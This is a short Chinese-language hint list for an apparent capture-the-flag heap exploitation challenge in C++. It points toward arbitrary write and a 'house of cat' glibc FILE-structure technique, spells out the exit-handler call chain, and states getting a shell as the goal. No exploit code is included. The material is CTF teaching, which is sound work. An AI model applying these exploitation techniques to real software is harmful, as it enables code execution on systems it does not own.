    • Hint 3 的問題 (Why can I keep adding elements to a std::vector? ) 請搭配這個 Hint 思考
    • Hint 2 的 bug (https://github.com/Naupjjin/MyGO-schedule-manager-beta-Hint/issues/2) 請去思考為甚麼，並且思考你還能做啥
    • Hint 7 可以幫你推測現在的第一個目標是甚麼 (不知道的人可以抓關鍵字去 google)
    • 剩下的 hint 可以幫你排除可能並找到 get shell 的路徑
    • 這題因為操作次數的關係，慣性打 heap 的部分手法不管用，請跳脫框架，這題用的是 C++
  • hint 9 : hint 6 + hint 8 = 想 access 甚麼就想辦法讓甚麼東西殘留
  • hint 10 : 都拿到任意寫了，相信各位可以解出來的，想辦法拿 shell 吧
    exit() --> __run_exit_handlers --> _IO_cleanup --> _IO_flush_all --> _IO_wfile_seekoff --> _IO_switch_to_wget_mode
  • hint 11 : 稍微改一下模板就可以拿 shell 了，想想看怎麼 one shot libc 任意寫 house of cat

after all

貓貓可愛可愛可愛

封面圖源:
https://www.pixiv.net/artworks/122790060